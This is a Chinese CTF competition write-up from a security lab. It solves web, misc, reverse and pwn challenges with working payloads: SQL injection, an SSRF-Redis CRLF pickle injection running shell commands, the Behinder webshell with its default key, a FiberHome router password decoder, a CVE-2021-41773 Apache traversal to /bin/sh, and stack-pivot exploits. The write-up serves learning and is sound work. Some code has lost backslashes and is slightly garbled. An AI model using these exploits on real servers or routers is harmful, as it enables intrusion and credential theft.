Web
phpsql
fuzz出来是万能密码
密码: admin'or'a'='a
即可登录得到flag
pyssrf
题目提示了版本是: python:3.7.1
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)
def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)
@app.route('/')
def hello():
url = request.args.get("url")
return '''
give me your url via GET method like: ?url=127.0.0.1:8080
Here is your result
source code in /source
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
@app.route('/source')
def source():
return
Python 3.x-3.7.2 版本中的 urllib 存在 CRLF 攻击 (CVE-2019-9740)
利用CRLF攻击Redis,然后Pickle反序列化, set 一个键名(md5),键值(opcode的base64)进去,然后直接访问键名。
opcode
Flask中提供静态资源文件夹 /static/ ,复制到这个目录下可访问。
(cos
system
S'mkdir static && cp /flag static/flag'
o.
Payload
127.0.0.1:6379?
a=1%20HTTP/1.1%0d%0aSET%20643fe26a334b920e71528259036c170e%20KGNvcwpzeXN0ZW0KUydta2RpciBzdGF0aWMgJiYgY3AgL2ZsYWcgc3RhdGljL2ZsYWcnCm8u%0d%0aaaa:%0a
然后访问 /?url=a1234567 ,也就是上面md5的内容(键名),将 /flag 复制到 /static/flag 下,然后下载即可得到flag
Misc
签到
PS一帧一帧看flag即可
rot13
flag{begin-the-competition}
钓鱼邮件识别
flag1
PS C:UsersAdministratorDownloads> php -r
"var_dump(base64_decode('ZmxhZ3tXZWxjT21lVE99'));"
Command line code:1:
string(15) "flag{WelcOmeTO}"
flag2
easyshell
冰蝎AES 默认密钥
php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
return openssl_decrypt(base64_decode($data), "AES-128-ECB",
$key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
@eval($post);
?>
AES-128-ECB解密: http://tools.bugscaner.com/cryptoaes/
密钥: e45e329feb5d925b
解密响应流量
压缩包,根据加密方式和压缩方式推测为明文攻击
继续解密响应流量还发现了一段话
长度正好 44 ,推测这段话就是 secret2.txt 的内容,需要明文攻击破解出 secret1.txt
bkcrack爆破密钥然后解压得到flag
PS C:UsersAdministratorDownloads> D:ToolsMiscbkcrack-1.5.0-win64bkcrack.exe
-C .flag.zip -c secret2.txt -p .secret2.txt
bkcrack 1.5.0 - 2022-07-07
[11:34:40] Z reduction using 37 bytes of known plaintext
100.0 % (37 / 37)
[11:34:41] Attack on 207115 Z values at index 6
Keys: e0c271a4 cbd76d08 8d707128
10.0 % (20812 / 207115)
[11:34:59] Keys
e0c271a4 cbd76d08 8d707128
PS C:UsersAdministratorDownloads> D:ToolsMiscbkcrack-1.5.0-win64bkcrack.exe
-C .flag.zip -c "secret1.txt" -k e0c271a4 cbd76d08 8d707128 -d secret1.txt
bkcrack 1.5.0 - 2022-07-07
[11:37:23] Writing deciphered data secret1.txt (maybe compressed)
Wrote deciphered data.
PS C:UsersAdministratorDownloads> type .secret1.txt
flag{70854278-ea0c-462e-bc18-468c7a04a505}
Gateway
/html_src/cgi-bin/baseinfoSet.json 破解 HG221GS超级密码
https://github.com/AaG7xNnrgbzeyqc5woPS/HG221GS_Crack
'''
a program to decode FiberHome HG221GS FiberCat telecomadmin password
wget http://192.168.1.1/cgi-bin/baseinfoSet.cgi
"baseinfoSet_TELECOMACCOUNT": "telecomadmin",
"baseinfoSet_TELECOMPASSWORD":
"106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&",
"baseinfoSet_USERACCOUNT": "useradmin",
"baseinfoSet_USERPASSWORD":
"106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&"
设备类型 EPON
生产厂家 FiberHome
设备型号: HG221GS
硬件版本号: HS.V2.0
软件版本号: E60D1.00MA000
'''
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1] #
"baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result)) # flag{ad1985868133e8cf1828cb84adbe5a5b}
zip
代码主要是用用户第一次输入的 token 作为压缩包加密的密码, 然后第二次输入的 flag{ 作为压缩包解密的密码, token 就是队伍 token
puts("your token:");
fflush(stdout);
fgets(buf, sizeof(buf), stdin);
if (cmpstr(token, buf)) {
puts("wrong token!");
return 1;
}
zip(buf);
puts("your flag:");
fflush(stdout);
fgets(buf, sizeof(buf), stdin);
if (cmpstr("flag{", buf)) {
puts("wrong flag!");
return 1;
}
unzip(buf);
FILE *f = fopen("flag.txt", "r");
if (!f) {
puts("flag.txt not found");
return 1;
}
因为第二次输入的作为解压缩的密码, 前面的 flag{ 多余, 用 x7f 将其删除,后面跟上原本的 token
from pwn import *
#context(arch = 'amd64', os = 'linux', log_level = 'info')
addr = 'prob03.contest.pku.edu.cn'
port = 10003
p = 0
sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
token =
b'519:MEQCIFdbmgznDT0bNpNg7Xy11l_6M1iDwK2DuVDnQooFKXDRAiB7SSDgBNqzhVjd5qmhxkrYWCwa9i0JyY2uX7-mTcaPcg=='
p = remote(addr, port)
sla(b'token:', token)
sla(b'token:n', token)
payload = b'flag{' + b'x7f' * 5 + token
sla(b'your flag:', payload)
inv()
上面这个作用在本地能出, 但是远程后,无论是不是用上面的这个,我这里是压缩都不能压缩成功
都怀疑是不是队伍的 token 了,不过没有 wrong ,算做出一半吧
Apache
CVE-2021-41773/Apache HTTP Server 路径穿越漏洞
from urllib.parse import quote
import requests
import urllib3
payload = "echo;cat /flag"
postdata = """
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
Connection: close
{}
""".format(len(payload), payload)
mydata = {"port":"80", "data":postdata.replace('n', 'rn')}
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
resp = requests.post(url="https://prob01-ooe5gv6v.contest.pku.edu.cn/nc",
data=mydata, verify=False)
print(resp.text)
Reverse
easyre
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned __int64 length; // rax
char *s1; // [rsp+8h] [rbp-38h]
char input[8]; // [rsp+10h] [rbp-30h] BYREF
__int64 v7; // [rsp+18h] [rbp-28h]
__int64 v8; // [rsp+20h] [rbp-20h]
int v9; // [rsp+28h] [rbp-18h]
__int16 v10; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
puts("Enter your flag: ");
*(_QWORD *)input = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0;
v10 = 0;
__isoc99_scanf("%23s", input);
length = strlen(input);
s1 = Base64((__int64)input, length); //里面就是常规base64,换了个表
if ( !strcmp(s1, s2) )
printf("Congratulations! Here is your flag:n%sn", input);
else
puts("Error");
return 1LL;
}
import base64
b1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
b2 = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"
enc = 'AncsA6gXMSMoMqIuNCMuxaYuAGIavC9=='
print(base64.b64decode(enc.translate(str.maketrans(b2, b1))))
#flag{B4se64_1s_s0_e4sy}
babyre
加了 upx 壳,不过没魔改, 直接用工具就能脱壳,然后里面是4个逻辑运算
v5 = 0;
printf("Part 1: ");
__isoc99_scanf("%u", &v5);
if ( sub_561F0BB06229(v5, 0xADB1D018) ) // 0xe3c6235c
goto LABEL_7;
v6 = 0;
printf("Part 2: ");
__isoc99_scanf("%u", &v6);
if ( sub_561F0BB06257(v6) ) // 0x5d9434d
goto LABEL_7;
v7 = 0;
printf("Part 3: ");
__isoc99_scanf("%u", &v7);
if ( sub_561F0BB062A4(v7) ) // 0x4b1edf3
goto LABEL_7;
v8 = 0;
printf("Part 4: ");
__isoc99_scanf("%u", &v8);
if ( sub_561F0BB06346(v8) ) // 0xef6f4083
goto LABEL_7;
memset(s, 0, sizeof(s));
sprintf(v12, "flag{%08x-%08x-%08x-%08x}", v5, v6, v7, v8);// flag{e3c6235c-05d9434d-04b1edf3-04034083}
逻辑运算这些用z3跑,最后一个第一次解出来的不是正确的,多解输出多试几次就可以了
import z3
a1 = z3.BitVec('a1', 32)
s= z3.Solver()
#第一个自己加 --> 0xe3c6235c
# s.add((a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == -1876131848)
# s.add(4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))
# + -3 * (~a1 | 0xA8453437)
# + 3 * ~(a1 | 0xA8453437)
# - (-10 * (a1 & 0xA8453437)
# + (a1 ^ 0xA8453437)) == 551387557)
s.add((11 * ~(a1 ^ 0xE33B67BD)
+ 4 * ~(~a1 | 0xE33B67BD)
- (6 * (a1 & 0xE33B67BD)
+ 12 * ~(a1 | 0xE33B67BD))
+ 3 * (a1 & 0xD2C7FC0C)
+ -5 * a1
- 2 * ~(a1 | 0xD2C7FC0C)
+ ~(a1 | 0x2D3803F3)
+ 4 * (a1 & 0x2D3803F3)
- -2 * (a1 | 0x2D3803F3) ) == 0xCE1066DC)
s.add(a1 < 0x10000000)
while s.check() == z3.sat:
condition = []
m = s.model()
p = m[a1]
condition.append(a1 != int("%s" % (m[a1])))
print(hex(int(str(p))))
s.add(z3.Or(condition))
#最后一个多解
"""
0xaf6f4083
0xef834083
0xef6f4083
0x4034083 <---正确的那个
0xaf834083
0x84034083
0xc4034083
0xb4034083
0xf4034083
"""
#flag就是这些拼接起来
#flag{e3c6235c-05d9434d-04b1edf3-04034083}
Pwn
easypwn
感觉是考栈迁移,但是还是不知道那个 Stack: Executeable 有啥用,网上说可以直接写 shellcode ,本地没成功,估计是姿势问题,最后还是 ret 平衡堆栈后 走的 system("/bin/sh")
__int64 login()
{
int v0; // ebx
char buf[32]; // [rsp+0h] [rbp-50h] BYREF
char s1[40]; // [rsp+20h] [rbp-30h] BYREF
printf("Enter your username: ");
read(0, buf, 0x40uLL);
printf("Enter the password: ");
read(0, s1, 0x40uLL); //溢出0x10,刚好栈迁
v0 = strcmp(buf, "root");
return v0 | (unsigned int)strcmp(s1, "!@#$%^&*()_+");
}
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
path = "./pwn"
addr = 'prob07.contest.pku.edu.cn'
port = 10007
p = 0
elf = ELF(path)
libc = ELF("./libc.so.6").libc
def g(addr=0):
if addr == 0:
gdb.attach(p)
else:
gdb.attach(p, 'b *{}'.format(addr))
raw_input()
sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
def run(sign=1):
global path, p
if sign == 1:
p = remote(addr, port)
else:
p = process(path)
bss = 0x404000 + 0x800
system = 0x401050
ret = 0x000000000040115d + 1
leave_ret = 0x000000000040121d
sla(b'token:',
b'519:MEQCIFdbmgznDT0bNpNg7Xy11l_6M1iDwK2DuVDnQooFKXDRAiB7SSDgBNqzhVjd5qmhxkrYWCwa
9i0JyY2uX7-mTcaPcg==')
sa(b'Enter your username: ', b'root')
fly = b'/bin/shx00'
fly = fly.ljust(0x30, b'x00') + p64(bss) + p64(0x4011d3)
sa(b'Enter the password: ', fly)
pay1 = b'/bin/shx00' + p64(ret) * 3 + p64(system)
pay1 = pay1.ljust(0x30, b'x00') + p64(bss - 0x30) + p64(leave_ret)
sd(pay1)
inv()
if __name__ == "__main__":
run()
E·N·D
本文由创信华通创安实验室编辑。
本文仅限于个人学习和技术研究,由于传播、利用此文所提供的信息而造成刑事案件、非授权攻击等违法行为,均由使用者本人负责,本单位不为此承担任何责任。创安攻防实验室拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
如有侵权,请联系后台。
●
创安实验室
创信华通创安实验室成立于2021年9月,是成都创信华通信息技术有限公司旗下的技术研究团队,主要研究红蓝对抗、重大安全保障、应急响应等方向。
实验室秉承公司的发展理念,致力于打造国内一流的网络安全团队,成立至今,已多次完成了公安举办的重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...